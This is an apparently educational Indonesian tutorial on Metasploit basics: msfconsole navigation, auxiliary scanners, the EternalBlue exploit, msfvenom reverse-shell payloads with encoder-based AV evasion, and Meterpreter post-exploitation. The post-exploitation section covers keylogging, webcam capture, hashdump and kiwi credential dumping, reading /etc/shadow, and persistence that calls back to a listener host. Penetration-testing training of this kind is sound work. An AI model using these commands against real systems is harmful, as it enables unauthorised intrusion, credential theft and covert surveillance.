Metasploit Framework — Dari Dasar

Arsitektur Metasploit

Metasploit Framework terdiri dari beberapa komponen utama:

• Auxiliary — Scanner, fuzzer, tools tanpa payload (tidak mengeksploitasi)
• Exploit — Modul yang memanfaatkan kerentanan spesifik
• Payload — Kode yang dieksekusi setelah eksploitasi berhasil
• Encoder — Meng-encode payload untuk menghindari deteksi
• Post — Modul yang berjalan setelah kompromis berhasil
• NOPS — Sled instructions untuk buffer overflow

Memulai msfconsole

# Start Metasploit dengan database
sudo msfdb init
msfconsole

# Atau langsung
msfconsole -q  # quiet mode, tidak tampilkan banner

# Update Metasploit
sudo apt update && sudo apt install metasploit-framework

Navigasi msfconsole

# Help dan daftar commands
help
?

# Cari modul
search type:exploit platform:windows ms17-010
search eternalblue
search name:ftp type:auxiliary
search cve:2021-44228

# Info tentang modul
info exploit/windows/smb/ms17_010_eternalblue

# Gunakan modul
use exploit/windows/smb/ms17_010_eternalblue
use 0  # gunakan nomor dari hasil search

# Lihat opsi
show options
show advanced
show payloads   # payloads yang kompatibel

# Set opsi
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.50
set LPORT 4444

# Set global (berlaku untuk semua modul)
setg LHOST 192.168.1.50
setg RHOSTS 192.168.1.100

# Kembali ke prompt utama
back

# History commands
history

Auxiliary Modules — Scanning & Enumeration

# Port scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445,3389
set THREADS 50
run

# SMB enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.1.100
run

# FTP anonymous login
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.0/24
run

# SSH version
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# HTTP version
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

# Vulnerability scan (MS17-010 check)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

Exploit dengan Payload

Contoh: MS17-010 EternalBlue (Windows)

use exploit/windows/smb/ms17_010_eternalblue
show options

set RHOSTS 192.168.1.100
set LHOST 192.168.1.50

# Pilih payload
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4444

# Verifikasi semua opsi
show options

# Jalankan
run
# atau
exploit

Generate Payload dengan msfvenom

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o payload.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f psh-reflection -o shell.ps1

# Dengan encoder untuk basic AV evasion
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o encoded_payload.exe

Setup Listener dengan multi/handler

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Jalankan di background
set ExitOnSession false
run -j

Meterpreter — Post-Exploitation

# Setelah berhasil mendapatkan Meterpreter session:

# System info
sysinfo
getuid
getpid

# Navigasi filesystem
pwd
ls
cd /tmp
cat /etc/passwd

# Upload dan download file
upload /path/local/file.txt /tmp/file.txt
download /etc/shadow /tmp/shadow

# Shell system
shell
# (exit untuk kembali ke Meterpreter)

# Screenshot
screenshot

# Webcam (jika ada)
webcam_snap

# Keylogger
keyscan_start
keyscan_dump
keyscan_stop

# Network info
ipconfig
arp
route
portfwd add -l 8080 -r 192.168.2.100 -p 80

# Process list
ps
migrate 1234  # migrate ke proses lain

# Privilege escalation
getsystem
getuid  # cek hasil

# Dump credentials (Windows)
hashdump
load kiwi
creds_all
lsa_dump_sam

# Persistence
run persistence -X -i 30 -p 4444 -r 192.168.1.50

# Background session
background
sessions -l          # list semua sessions
sessions -i 1        # interact dengan session 1
sessions -k 1        # kill session 1